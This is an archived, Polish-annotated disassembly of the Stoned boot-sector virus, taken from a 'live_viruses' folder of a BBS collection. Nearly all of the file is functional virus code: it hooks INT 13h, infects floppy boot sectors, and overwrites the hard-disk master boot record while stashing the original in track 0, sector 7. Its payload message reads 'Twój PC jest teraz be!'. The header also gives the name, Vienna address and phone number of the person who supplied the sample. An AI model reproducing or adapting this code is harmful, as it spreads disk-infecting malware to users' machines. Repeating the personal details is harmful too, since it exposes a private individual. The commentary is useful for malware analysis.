home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / s-stan-g.asm < prev    next >
Assembly Source File  |  1990-12-01  |  10KB  |  286 lines

  1. ;----------------------------------------------------------------------------
  2. ; Wirus dostarczony Grzegorzowi Eiderowi do redakcji  KOMPUTERA w poÆowie
  3. ; listopada 1989. Dostawcå jest uºytkownik z Wiednia:
  4. ;
  5. ;   Karol Grabski
  6. ;   Vien
  7. ;   Krummgasse 3/18
  8. ;   tel. 7133735
  9. ;
  10. ; SCAN 0.4V35 identyfikuje go jako: STONED VIRUS
  11. ; Wirus ma spolszczony komunikat! Oryginalny jest chyba dÆuºszy i nawiåzuje
  12. ; do legalizacji marihuany
  13. ;
  14. ; Na dyskietce wirus rezyduje w boot sector, oryginalny boot sektor chowa do
  15. ; ostatniego sektora zajmowanego przez katalog gÆówny dyskietki.
  16. ; Na dysku twardym wirus rezyduje w master boot sektor twardego dysku a
  17. ; oryginaÆ chowa do 7 sektora ₧cieºki 0, strona 0 (czyli poza zasiægiem DOS)
  18. ;-----------------------------------------------------------------------------
  19.  
  20. ; Postaì wirusa bezpo₧rednio po wczytaniu do pamiæci z dyskietki
  21.  
  22. ; bajty identyfikujåce wirusa (w jego wÆasnym autote₧cie)
  23.  
  24. 07C0:0000 EA0500C007    JMP    07C0:0005  ; skok do nastæpnej instrukcji
  25. 07C0:0005 E99900    JMP    00A1
  26.  
  27. ; normalnie w tym obszarze så dane dyskietki, ten wirus, jak widaì, tym siæ
  28. ; nie przejmuje i traktuje ten obszar jako roboczy
  29.  
  30. 07C0:0008  00          ; flaga 0 - oznacza start z dyskietki, 2 - z twardego
  31. 07C0:0009  69 A0 00 F0      ; oryginalny adres INT 13h
  32. 07C0:000D  E4 00 80 9F      ; adres wirusa w pamiæci operacyjnej
  33. 07C0:0011  00 7C 00 00      ; ???
  34.  
  35. ;-------------------------------------------------------
  36. ; Nowa obsÆuga INT 13h
  37. ;-------------------------------------------------------
  38.  
  39. 07C0:0015 1E        PUSH    DS
  40. 07C0:0016 50        PUSH    AX
  41. 07C0:0017 80FC02    CMP    AH,02         ; poniºej 'odczyt sektora'
  42. 07C0:001A 7217        JB    0033         ; nieciekawa funkcja
  43.  
  44. 07C0:001C 80FC04    CMP    AH,04         ; powyºej 'zapis sektora'
  45. 07C0:001F 7312        JAE    0033         ; nieciekawa funkcja
  46.  
  47. 07C0:0021 0AD2        OR    DL,DL         ; nr dysku
  48. 07C0:0023 750E        JNZ    0033         ; róºny od A
  49.  
  50. 07C0:0025 33C0        XOR    AX,AX
  51. 07C0:0027 8ED8        MOV    DS,AX
  52. 07C0:0029 A03F04    MOV    AL,[043F]    ; diskette drive motor status
  53. 07C0:002C A801        TEST    AL,01         ; motor 1 on
  54. 07C0:002E 7503        JNZ    0033         ; nie tym razem
  55. 07C0:0030 E80700    CALL    003A
  56. 07C0:0033 58        POP    AX
  57. 07C0:0034 1F        POP    DS
  58. 07C0:0035 2E        CS:
  59. 07C0:0036 FF2E0900    JMP    FAR [0009]   ; oryginalne INT 13h
  60.  
  61. 07C0:003A 53        PUSH    BX         ; przechowaj rejestry
  62. 07C0:003B 51        PUSH    CX
  63. 07C0:003C 52        PUSH    DX
  64. 07C0:003D 06        PUSH    ES
  65. 07C0:003E 56        PUSH    SI
  66. 07C0:003F 57        PUSH    DI
  67.  
  68. 07C0:0040 BE0400    MOV    SI,0004      ; licznik prób
  69. 07C0:0043 B80102    MOV    AX,0201      ; odczyt sektora
  70. 07C0:0046 0E        PUSH    CS
  71. 07C0:0047 07        POP    ES
  72. 07C0:0048 BB0002    MOV    BX,0200      ; za wÆasny kod
  73. 07C0:004B 33C9        XOR    CX,CX
  74. 07C0:004D 8BD1        MOV    DX,CX
  75. 07C0:004F 41        INC    CX         ; boot sektor dysku A ?
  76. 07C0:0050 9C        PUSHF
  77. 07C0:0051 2E        CS:
  78. 07C0:0052 FF1E0900    CALL    FAR [0009]   ; oryginalne INT 13h
  79. 07C0:0056 730E        JAE    0066         ; odczyt udany
  80.  
  81. 07C0:0058 33C0        XOR    AX,AX         ; resetuj dysk
  82. 07C0:005A 9C        PUSHF
  83. 07C0:005B 2E        CS:
  84. 07C0:005C FF1E0900    CALL    FAR [0009]   ; oryginalne INT 13h
  85. 07C0:0060 4E        DEC    SI
  86. 07C0:0061 75E0        JNZ    0043         ; ponawiaj próbæ odczytu
  87.  
  88. 07C0:0063 EB35        JMP    009A         ; wycofujemy siæ
  89. 07C0:0065 90        NOP
  90.  
  91. 07C0:0066 33F6        XOR    SI,SI         ; sprawdª czy zainfekowany?
  92. 07C0:0068 BF0002    MOV    DI,0200
  93. 07C0:006B FC        CLD
  94. 07C0:006C 0E        PUSH    CS
  95. 07C0:006D 1F        POP    DS
  96. 07C0:006E AD        LODSW
  97. 07C0:006F 3B05        CMP    AX,[DI]
  98. 07C0:0071 7506        JNZ    0079         ; jeszcze nie
  99.  
  100. 07C0:0073 AD        LODSW
  101. 07C0:0074 3B4502    CMP    AX,[DI+02]
  102. 07C0:0077 7421        JZ    009A         ; wycofuj siæ
  103.  
  104. ; infekcja dyskietki
  105.  
  106. 07C0:0079 B80103    MOV    AX,0301      ; zapisuj sektor na dysk
  107. 07C0:007C BB0002    MOV    BX,0200      ; z ES:BX
  108. 07C0:007F B103        MOV    CL,03         ; do sektora 3
  109. 07C0:0081 B601        MOV    DH,01         ; na stronie 1
  110. 07C0:0083 9C        PUSHF             ; czyli ostatni sektor zajmowany
  111. 07C0:0084 2E        CS:             ; przez 'root directory'
  112. 07C0:0085 FF1E0900    CALL    FAR [0009]   ; oryginalne INT 13h
  113. 07C0:0089 720F        JB    009A
  114.  
  115. 07C0:008B B80103    MOV    AX,0301      ; zapisuj sektor na dysk
  116. 07C0:008E 33DB        XOR    BX,BX         ; ES:0 czyli wirusa
  117. 07C0:0090 B101        MOV    CL,01         ; sektor 0
  118. 07C0:0092 33D2        XOR    DX,DX         ; strona 0 dysk 0
  119. 07C0:0094 9C        PUSHF             ; czyli jako nowy 'boot sector'
  120. 07C0:0095 2E        CS:
  121. 07C0:0096 FF1E0900    CALL    FAR [0009]   ; oryginalne INT 13h
  122.  
  123. 07C0:009A 5F        POP    DI         ; koniec ₧wiñstw
  124. 07C0:009B 5E        POP    SI
  125. 07C0:009C 07        POP    ES
  126. 07C0:009D 5A        POP    DX
  127. 07C0:009E 59        POP    CX
  128. 07C0:009F 5B        POP    BX
  129. 07C0:00A0 C3        RET
  130.  
  131. ;----------------------------------------
  132. ; kod startowy wirusa
  133. ;----------------------------------------
  134.  
  135. 07C0:00A1 33C0        XOR    AX,AX        ; inicjuj rejestry i stos
  136. 07C0:00A3 8ED8        MOV    DS,AX
  137. 07C0:00A5 FA        CLI
  138. 07C0:00A6 8ED0        MOV    SS,AX
  139. 07C0:00A8 BC007C    MOV    SP,7C00
  140.  
  141. 07C0:00AB FB        STI
  142. 07C0:00AC A14C00    MOV    AX,[004C]   ; odczyt wektora INT 13h
  143. 07C0:00AF A3097C    MOV    [7C09],AX
  144. 07C0:00B2 A14E00    MOV    AX,[004E]
  145. 07C0:00B5 A30B7C    MOV    [7C0B],AX
  146. 07C0:00B8 A11304    MOV    AX,[0413]   ; rozmiar pamiæci operacyjnej w KB
  147. 07C0:00BB 48        DEC    AX        ; szykuj miejsce dla wirusa
  148. 07C0:00BC 48        DEC    AX
  149. 07C0:00BD A31304    MOV    [0413],AX   ; informacja dla DOS
  150.  
  151. 07C0:00C0 B106        MOV    CL,06        ; przelicz na paragrafy
  152. 07C0:00C2 D3E0        SHL    AX,CL
  153. 07C0:00C4 8EC0        MOV    ES,AX        ; segment wirusa
  154. 07C0:00C6 A30F7C    MOV    [7C0F],AX   ; zapamiætaj segment wirusa
  155. 07C0:00C9 B81500    MOV    AX,0015     ; offset nowej obsÆugi INT 13h
  156. 07C0:00CC A34C00    MOV    [004C],AX
  157. 07C0:00CF 8C064E00    MOV    [004E],ES   ; segment nowej obsÆugi INT 13h
  158.  
  159. 07C0:00D3 B9B801    MOV    CX,01B8     ; przesuñ kod wirusa
  160. 07C0:00D6 0E        PUSH    CS        ; ma to na celu instalacjæ
  161. 07C0:00D7 1F        POP    DS        ; czæ₧ci rezydentnej
  162. 07C0:00D8 33F6        XOR    SI,SI        ; w koñcu pamiæci operacyjnej
  163. 07C0:00DA 8BFE        MOV    DI,SI
  164. 07C0:00DC FC        CLD
  165. 07C0:00DD F3        REPZ
  166. 07C0:00DE A4        MOVSB
  167. 07C0:00DF 2E        CS:
  168. 07C0:00E0 FF2E0D00    JMP    FAR [000D]  ; skok do przesuniætego kodu
  169.  
  170. ; czyli tutaj
  171.  
  172. 07C0:00E4 B80000    MOV    AX,0000     ; resetuj dysk
  173. 07C0:00E7 CD13        INT    13
  174.  
  175. 07C0:00E9 33C0        XOR    AX,AX        ; zeruj ES
  176. 07C0:00EB 8EC0        MOV    ES,AX
  177. 07C0:00ED B80102    MOV    AX,0201     ; czytaj 1 sektor
  178. 07C0:00F0 BB007C    MOV    BX,7C00     ; do ES:BX (0:7C00)
  179. 07C0:00F3 2E        CS:
  180. 07C0:00F4 803E080000    CMP    BYTE PTR [0008],00 ;test flagi (z dyskietki?)
  181. 07C0:00F9 740B        JZ    0106        ; sprawdzaj flopa
  182.  
  183. 07C0:00FB B90700    MOV    CX,0007     ; numer sektora ze strony 0
  184. 07C0:00FE BA8000    MOV    DX,0080     ; pierwszy twardy dysk
  185. 07C0:0101 CD13        INT    13        ; tam jest oryginalny boot sektor
  186. 07C0:0103 EB49        JMP    014E        ; koniec dziaÆalno₧ci wirusa
  187. 07C0:0105 90        NOP
  188.  
  189. 07C0:0106 B90300    MOV    CX,0003  ; sektor nr 3 ₧cieºka 0
  190. 07C0:0109 BA0001    MOV    DX,0100  ; strona 1 dysk nr 0 (A)
  191. 07C0:010C CD13        INT    13
  192. 07C0:010E 723E        JB    014E     ; koniec dziaÆalno₧ci wirusa
  193.  
  194. ;-----------------------------------------------------------------
  195. ; komunikat "Twój PC jest teraz be!" wraz z sygnaÆem dªwiækowym
  196. ;-----------------------------------------------------------------
  197.  
  198. 07C0:0110 26        ES:
  199. 07C0:0111 F6066C0407    TEST    BYTE PTR [046C],07  ; mÆodsze sÆowo zegara
  200. 07C0:0116 7512        JNZ    012A            ; pomijaj komunikat
  201.  
  202. 07C0:0118 BE8901    MOV    SI,0189   ; adres komunikatu
  203. 07C0:011B 0E        PUSH    CS
  204. 07C0:011C 1F        POP    DS
  205.  
  206. 07C0:011D AC        LODSB         ; drukowanie komunikatu (ASCIIZ)
  207. 07C0:011E 0AC0        OR    AL,AL
  208. 07C0:0120 7408        JZ    012A
  209.  
  210. 07C0:0122 B40E        MOV    AH,0E     ; write character (TTY mode)
  211. 07C0:0124 B700        MOV    BH,00     ; numer strony video
  212. 07C0:0126 CD10        INT    10
  213. 07C0:0128 EBF3        JMP    011D     ; pobierz nastæpny znak
  214.  
  215. ;---------------------------------------------------
  216. ; kontrola czy twardy dysk systemowy jest czysty?
  217. ;---------------------------------------------------
  218.  
  219. 07C0:012A 0E        PUSH    CS
  220. 07C0:012B 07        POP    ES
  221. 07C0:012C B80102    MOV    AX,0201    ; czytaj 1 sektor dysku
  222. 07C0:012F BB0002    MOV    BX,0200    ; do ES:BX za wirusa
  223. 07C0:0132 B101        MOV    CL,01       ; numer sektora
  224. 07C0:0134 BA8000    MOV    DX,0080    ; pierwszy twardy dysk, strona 0
  225. 07C0:0137 CD13        INT    13
  226. 07C0:0139 7213        JB    014E       ; problemy!
  227.  
  228. 07C0:013B 0E        PUSH    CS       ; sprawdzaj czy juº zainfekowany
  229. 07C0:013C 1F        POP    DS
  230. 07C0:013D BE0002    MOV    SI,0200
  231. 07C0:0140 BF0000    MOV    DI,0000
  232. 07C0:0143 AD        LODSW
  233. 07C0:0144 3B05        CMP    AX,[DI]
  234. 07C0:0146 7511        JNZ    0159
  235.  
  236. 07C0:0148 AD        LODSW
  237. 07C0:0149 3B4502    CMP    AX,[DI+02]
  238. 07C0:014C 750B        JNZ    0159
  239.  
  240. ;-----------------------------------------------------
  241. ; koniec akcji, kontynuuj wÆa₧ciwy bootstrap
  242. ;-----------------------------------------------------
  243.  
  244. 07C0:014E 2E        CS:
  245. 07C0:014F C606080000    MOV    BYTE PTR [0008],00  ; flaga 'z dyskietki'
  246. 07C0:0154 2E        CS:
  247. 07C0:0155 FF2E1100    JMP    FAR [0011]        ; kontynuuj bootstrap
  248.  
  249. ;------------------------------------------------
  250. ; infekuj pierwszy twardy dysk
  251. ;------------------------------------------------
  252.  
  253. 07C0:0159 2E        CS:
  254. 07C0:015A C606080002    MOV    BYTE PTR [0008],02  ; flaga  'z twardego'
  255. 07C0:015F B80103    MOV    AX,0301     ; zapisz 1 sektor dyskowy
  256. 07C0:0162 BB0002    MOV    BX,0200     ; ES:BX skåd
  257. 07C0:0165 B90700    MOV    CX,0007     ; do sektora nr 7
  258. 07C0:0168 BA8000    MOV    DX,0080     ; strona 0 pierwszego dysku twardego
  259. 07C0:016B CD13        INT    13
  260. 07C0:016D 72DF        JB    014E        ; problemy!
  261.  
  262. 07C0:016F 0E        PUSH    CS        ; uzupeÆnij wirusa wczytanym kodem
  263. 07C0:0170 1F        POP    DS        ; czyli tablicami partycji dysku
  264. 07C0:0171 0E        PUSH    CS
  265. 07C0:0172 07        POP    ES
  266. 07C0:0173 BEBE03    MOV    SI,03BE
  267. 07C0:0176 BFBE01    MOV    DI,01BE
  268. 07C0:0179 B94202    MOV    CX,0242
  269. 07C0:017C F3        REPZ
  270. 07C0:017D A4        MOVSB
  271. 07C0:017E B80103    MOV    AX,0301     ; zapisz na dysk
  272. 07C0:0181 33DB        XOR    BX,BX        ; ES:0 skåd (caÆy wirus)
  273. 07C0:0183 FEC1        INC    CL        ; CL := 1 numer sektora
  274. 07C0:0185 CD13        INT    13
  275. 07C0:0187 EBC5        JMP    014E        ; koniec
  276.  
  277. 07C0:0189                  07 54 77 A2 6A 20 50          .Twój P
  278. 07C0:0190  43 20 6A 65 73 74 20 74-65 72 61 7A 20 62 65 21   C jest teraz be!
  279. 07C0:01A0  07 0D 0A 0A 00 4C 45 47-41 4C 49 53 45 20 4D 41   .....LEGALISE MA
  280. 07C0:01B0  52 49 4A 55 41 4E 41 3F-00 00 00 00 00 00 00 00   RIJUANA?........
  281.        * 0004 Lines Of 00 Skipped *
  282. 07C0:0200  00 00 00 00 00 00 00 00-00                 .........
  283.  
  284. ; Brak oznakowania koñca sektora! (55AA)
  285.  
  286.